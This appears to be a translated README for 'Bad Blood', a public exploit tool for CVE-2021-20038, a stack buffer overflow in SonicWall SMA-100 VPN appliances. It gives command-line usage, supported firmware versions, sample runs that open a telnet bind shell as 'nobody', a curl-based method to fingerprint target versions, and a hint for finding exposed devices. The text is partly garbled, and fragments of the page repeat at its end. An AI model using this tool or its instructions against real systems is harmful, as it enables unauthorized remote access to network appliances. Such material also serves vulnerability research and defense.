Bad Blood

Bad Blood — это эксплойт для CVE-2021-20038, переполнения буфера в стеке в бинарном файле httpd систем серии SMA-100 с версиями прошивки 10.2.1.x. Многие технические детали я описал здесь:

AttackerKB CVE-2021-20038

Эксплойт, как написано, открывает telnet bind shell на порту 1270. Атакующий, подключившийся к оболочке, получит выполнение от имени nobody.

Пример вывода```

albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 01:15:12 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

[+] Spinning up HTTP server [+] User did not provide an address. We'll guess it. [+] Generated 2047 base addresses [+] Generated 1046017 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 235533 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 70% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 14:38:03 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.

bash-4.2$ whoami nobody bash-4.2$ uname -a Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux bash-4.2$

## Поддерживаемые версии

| Версия | Поддерживается | Протестировано | Целевая платформа тестирования |
| - | - | - | - |
| 10.2.1.2-24sv | Да | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.1-19sv | Да | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.0-17sv | Да | :heavy_check_mark: | SMA 500v ESX |

## Использование

Как минимум, вам потребуется указать:

* rhost: IP-адрес удалённого хоста
* lhost: IP-адрес локального хоста
* version: версию целевой системы.

Пожалуйста, ознакомьтесь с примечаниями о стабильности для получения дополнительного контекста.

Очевидный вопрос — как узнать версию целевой системы? Простой запрос `curl` к цели покажет, что номер версии используется для версионирования `css` и `js`.```
albinolobster@ubuntu:~$ curl --insecure https://10.0.0.7/cgi-bin/welcome
...
<link href='/swl_login.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/swl_header.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_content_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_login_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href="/notificationbar.10.2.1.2-24sv.css" type="text/css" rel="stylesheet">
<script src="/js/jquery.10.2.1.2-24sv.js" type="text/javascript" charset="utf-8"></script>

Модуль Metasploit для CVE-2021-20039 разбирает это, но у меня не хватило сил сделать это для данного эксплойта. Обратите внимание: если вы сканируете свою среду на предмет этих устройств, я считаю, что "Server: SonicWall SSL-VPN Web Server" — самый надёжный признак. Около 22 тыс. на январь 2022 года.

Вывод справки```

albinolobster@ubuntu:~/badblood$ python3 badblood.py --help

usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR] [--top-addr TOP_ADDR]

SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)

optional arguments: -h, --help show this help message and exit --supported-versions The list of supported SMA-100 versions --workers WORKERS The number of workers to spew the exploit --nocrash Stops the exploit from sending a series of crash payload to start --enable-stderr Enable stderr for debugging --addr ADDR Test only. If you know the crash address, go wild. --top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.

required arguments: --rhost RHOST The IPv4 address to connect to --rport RPORT The port to connect to --lhost LHOST The address to connect back to --rversion RVERSION The version of the remote target --rhostname RHOSTNAME The hostname of the remote target target

### --addr против --top-addr против отсутствия опции

Существует три основных режима работы. Первый — это ожидаемый режим (угадывание адресов). Вторые два в основном предназначены для целей тестирования.

#### Я не знаю ни одного адреса!

Это состояние по умолчанию, и это не проблема! Мы просто будем много угадывать.

#### Я знаю адрес вершины стека!

Отлично! Если вы можете выполнить cat maps или применить какую-то другую магию:```
bfa29000-bfa4a000 rw-p 00000000 00:00 0          [stack]

Вы можете использовать параметр --top_addr и сократить время атаки до нескольких секунд!``` albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 05:42:19 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120

badblood

Популярное

Bad Blood

Пример вывода```

Вывод справки```